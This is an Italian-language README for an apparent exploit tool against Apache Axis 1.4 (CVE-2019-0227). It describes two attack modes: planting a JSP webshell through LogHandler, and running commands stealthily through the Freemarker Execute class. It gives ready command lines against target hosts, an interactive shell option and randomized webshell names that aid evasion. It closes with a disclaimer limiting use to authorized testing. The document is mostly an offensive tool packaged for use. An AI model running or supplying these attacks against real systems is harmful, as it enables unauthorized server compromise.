
Apache Axis1.4 Strumento di sfruttamento della vulnerabilità di esecuzione remota di comandi - CVE-2019-0227, supporta la randomizzazione del nome del servizio e del nome del file Webshell
In Apache Axis1.4 esiste una vulnerabilità di esecuzione remota di comandi (CVE-2019-0227). Quando la proprietà enableRemoteAdmin è impostata su true, un attaccante può distribuire servizi malevoli tramite l'interfaccia AdminService, eseguendo così comandi arbitrari sul server target.
Versione interessata: Apache Axis ≤ 1.4
Condizione di attivazione: enableRemoteAdmin impostato su true
| Modalità | Script | Principio | Scrive file? | Furtività |
|---|---|---|---|---|
| Modalità 1: JSP Webshell | jsp-webshell/axis_exp.py | Tramite LogHandler scrive JSP Webshell | ✅ Scrive file | Bassa |
| Modalità 2: Esecuzione diretta Freemarker | freemarker-exec/axis_freemarker_exp.py | Richiama direttamente la classe Freemarker Execute per eseguire comandi | ❌ Non scrive file | Alta |
cd jsp-webshell
python3 axis_exp.py -u http://target.com:8080/axis/ -c "whoami"
cd freemarker-exec
python3 axis_freemarker_exp.py -u http://target.com:8080/axis/ -c "whoami"
pip install requests urllib3
Axis1.4-CVE-2019-0227/
├── README.md
├── jsp-webshell/
│ ├── axis_exp.py
│ └── README.md
└── freemarker-exec/
├── axis_freemarker_exp.py
└── README.md
Questo strumento è destinato esclusivamente a scopi di ricerca sulla sicurezza e test autorizzati. L'uso non autorizzato di questo strumento per attaccare sistemi target è illegale. L'utente si assume ogni responsabilità legale.
MIT License
Distribuendo un servizio malevolo tramite Axis AdminService, si sfrutta LogHandler per scrivere una JSP Webshell, quindi si esegue il comando tramite richiesta GET.
Distribuire servizio malevolo → LogHandler scrive shell.jsp → Richiesta GET esegue comando
# Esegue un singolo comando
python3 axis_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Shell interattiva
python3 axis_exp.py -u http://localhost:8080/axis/ -i
# Con autenticazione
python3 axis_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
| Parametro | Descrizione |
|---|---|
-u, --url | Indirizzo del servizio Axis target |
-c, --command | Esegue un singolo comando |
-i, --interactive | Modalità shell interattiva |
-U, --username | Nome utente autenticazione Basic |
-P, --password | Password autenticazione Basic |
Distribuendo un servizio che punta alla classe freemarker.template.utility.Execute tramite Axis AdminService, si richiama direttamente il suo metodo exec per eseguire comandi di sistema, senza scrivere alcun file.
Distribuire servizio Execute → Chiamare direttamente il metodo exec → Il risultato del comando viene restituito tramite risposta SOAP
È necessario che nella directory WEB-INF/lib/ dell'ambiente Axis target sia presente freemarker.jar (incluso di default in Axis 1.4)
# Esegue un singolo comando
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Shell interattiva
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -i
# Con autenticazione
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
| Parametro | Descrizione |
|---|---|
-u, --url | Indirizzo del servizio Axis target |
-c, --command | Esegue un singolo comando |
-i, --interactive | Modalità shell interattiva |
-U, --username | Nome utente autenticazione Basic |
-P, --password | Password autenticazione Basic |